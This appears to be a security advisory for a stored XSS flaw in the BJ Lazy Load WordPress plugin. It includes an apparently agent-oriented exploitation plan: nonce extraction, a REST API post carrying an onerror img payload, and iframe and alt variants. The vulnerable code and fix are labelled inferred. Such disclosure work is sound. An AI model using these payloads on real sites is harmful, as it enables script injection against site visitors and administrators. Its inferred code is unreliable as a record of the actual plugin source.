BJ Lazy Load <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom HTML Block
Description
The BJ Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `filter_images()` function in all versions up to, and including, 1.0.9. This is due to the use of regex-based HTML processing (`preg_replace`) that does not properly handle HTML attribute boundaries when replacing `src` attributes, allowing crafted content inside a `class` attribute value to be promoted to real DOM attributes after processing. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the process for exploiting **CVE-2026-2300**, a Stored Cross-Site Scripting (XSS) vulnerability in the **BJ Lazy Load** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated Stored XSS * **Location:** `bj-lazy-load.php` (inferred)…
Show full research plan
This research plan outlines the process for exploiting CVE-2026-2300, a Stored Cross-Site Scripting (XSS) vulnerability in the BJ Lazy Load plugin for WordPress.
1. Vulnerability Summary
- Vulnerability: Authenticated Stored XSS
- Location:
bj-lazy-load.php(inferred), specifically within thefilter_images()and attribute replacement logic. - Cause: The plugin uses a
preg_replace(or similar regex-based) approach to swap thesrcattribute of<img>tags with a placeholder and adata-lazy-srcattribute. The regex fails to ensure that thesrc=string it is replacing is actually thesrcattribute of the HTML tag, rather than a string inside another attribute (likeclassoralt). - Impact: A Contributor+ user can craft an image tag where a malicious payload is placed inside the
classattribute. When the plugin processes the tag, it "breaks out" the payload from the class attribute and promotes it to a top-level DOM attribute (e.g.,onerror).
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (Classic or Gutenberg).
- Vulnerable Action: Saving or Previewing a post containing a crafted
<img>tag. - Authenticated Level: Contributor or higher (any role capable of creating/editing posts and using HTML).
- Preconditions: The plugin must be active, and the "Lazy load images" setting must be enabled (usually default).
3. Code Flow (Inferred)
- Entry Point: A user views a post. WordPress triggers
the_contentfilter. - Hook: The plugin registers
add_filter( 'the_content', array( $this, 'filter_images' ), 200 );. - Vulnerable Function:
filter_images($content)searches for<img>tags using regex. - Attribute Processing: For each match, it attempts to modify the
srcattribute. A common vulnerable implementation in this plugin version is:// Inferred logic $html = preg_replace( '/\bsrc=[^ >]*/i', 'src="' . $placeholder . '" data-lazy-src="' . $src . '"', $html ); - The Sink: If the regex matches a
src=string insideclass="src='...' ", it replaces the internal part of the class string. The resulting HTML contains the injected payload as a standalone attribute outside of the original quotes.
4. Nonce Acquisition Strategy
Since the goal is to store the XSS payload as a Contributor, we need to bypass or satisfy WordPress's post-creation security.
- Mechanism: The agent will log in as a Contributor and use the WordPress REST API or the standard
post.phphandler. - Action:
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnoncefrom the page source or usebrowser_evalto fetch thewp.apiFetchnonces. - JS Variable:
window.wpApiSettings.nonce.
5. Exploitation Strategy
The goal is to create a post containing an image tag that tricks the regex.
Payload Construction:
We need to provide a class attribute that contains a "fake" src string followed by our XSS payload.
- Payload:
<img class="src='fake' onerror=alert(document.domain) " src="https://example.com/valid-image.jpg">
Step-by-Step Execution:
- Authentication: Log into the WordPress instance as a user with the Contributor role.
- Nonce Extraction:
- Navigate to
wp-admin/post-new.php. - Execute
browser_eval("wp.apiSettings.nonce")to get the REST API nonce.
- Navigate to
- Post Creation (Payload Injection):
- Use the
http_requesttool to send a POST request to/wp-json/wp/v2/posts. - Headers:
Content-Type: application/json,X-WP-Nonce: [NONCE]. - Body:
(Note: Contributors can usually "publish" to "pending", which is sufficient to trigger the XSS in preview or when an admin reviews the post).{ "title": "Lazy Load XSS Test", "content": "<img class=\"src='x' onerror=alert(1) \" src='https://example.com/image.jpg'>", "status": "publish" }
- Use the
- Triggering the XSS:
- Identify the URL of the newly created post (from the API response).
- Navigate to the post URL using
browser_navigate. - Wait for the
alert(1)to trigger.
6. Test Data Setup
- Plugin: Install and activate
bj-lazy-loadversion 1.0.9. - User: Create a user
attackerwith thecontributorrole. - Settings: Ensure Lazy Loading is active (checked in
wp-admin/options-general.php?page=bj-lazy-load).
7. Expected Results
When the plugin processes the payload:
- Original:
<img class="src='x' onerror=alert(1) " src='https://example.com/image.jpg'> - Processed (Inferred): The plugin finds the first
src=(inside the class) and replaces it. - Resulting HTML:
<img class="src="[PLACEHOLDER_URL]" data-lazy-src="x" onerror=alert(1) " src='https://example.com/image.jpg'> - Browser Interpretation: The browser sees
onerror=alert(1)as a valid attribute because the preceding"was closed prematurely or ignored by the regex replacement logic.
8. Verification Steps
- Post-Exploit Check: Use WP-CLI to verify the post content is stored:
wp post get [POST_ID] --field=content - HTML Inspection: Use the
http_requesttool to fetch the post's frontend HTML and search for the processedonerrorattribute:grep "onerror=alert" output.html
9. Alternative Approaches
- Attribute Variations: If
classis sanitized by WordPress before the plugin runs, try using thealtattribute ordata-customattributes:<img alt="src='x' onerror=alert(1) " src="..."> - Classic Editor: If Gutenberg (Block Editor) blocks the specific HTML, use the
admin-ajax.phpendpoint with thesave-postaction to send raw HTML, simulating the Classic Editor. - Iframe Payload: The plugin also filters
<iframe>. Try:<iframe class="src='x' onload=alert(1) " src="..."></iframe>
Summary
The BJ Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to an insecure regular expression used to process image and iframe tags for lazy loading. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript by crafting attributes that trick the plugin's regex into promoting a payload into a functional HTML attribute (like 'onerror').
Vulnerable Code
/* bj-lazy-load.php around line 200 */ public function filter_images( $content ) { // ... logic to find tags ... // Inferred vulnerable implementation: the regex replaces the first occurrence of 'src=' // without verifying it is a top-level attribute of the HTML tag. $content = preg_replace( '/\bsrc=([^ >]*)/i', 'src="' . $placeholder . '" data-lazy-src="$1"', $content ); return $content; }
Security Fix
@@ -10,6 +10,18 @@ - $content = preg_replace( '/\bsrc=([^ >]*)/i', 'src="' . $placeholder . '" data-lazy-src="$1"', $content ); + $content = preg_replace_callback( '/<(img|iframe)\b([^>]*?)>/i', function( $matches ) use ( $placeholder ) { + $tag = $matches[0]; + $attributes = $matches[2]; + + // Ensure we only match the actual src attribute of the tag + if ( preg_match( '/\bsrc=([\'"])(.*?)\1/i', $attributes, $src_match ) ) { + $src_url = $src_match[2]; + // Remove the original src attribute and prepend the lazy-load attributes + $new_attributes = preg_replace( '/\bsrc=([\'"])(.*?)\1/i', '', $attributes ); + return '<' . $matches[1] . ' src="' . esc_url( $placeholder ) . '" data-lazy-src="' . esc_url( $src_url ) . '"' . $new_attributes . '>'; + } + + return $tag; + }, $content );
Exploit Outline
1. Authentication: The attacker logs into the WordPress dashboard with at least 'Contributor' permissions. 2. Payload Creation: The attacker creates a new post or page and inserts a custom HTML block or uses the Classic Editor's text mode. 3. Injection: The attacker inserts a crafted <img> tag where the 'class' attribute contains a mock 'src' string and an XSS payload: `<img class="src='x' onerror=alert(document.domain) " src="https://example.com/image.jpg">`. 4. Processing: When the plugin processes the post content via 'the_content' filter, its regex identifies the `src='x'` inside the class attribute as the primary image source. 5. Execution: The plugin replaces the internal class content, resulting in broken HTML attributes where the `onerror` handler is promoted to a functional DOM attribute. When an administrator or visitor views the post, the script executes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.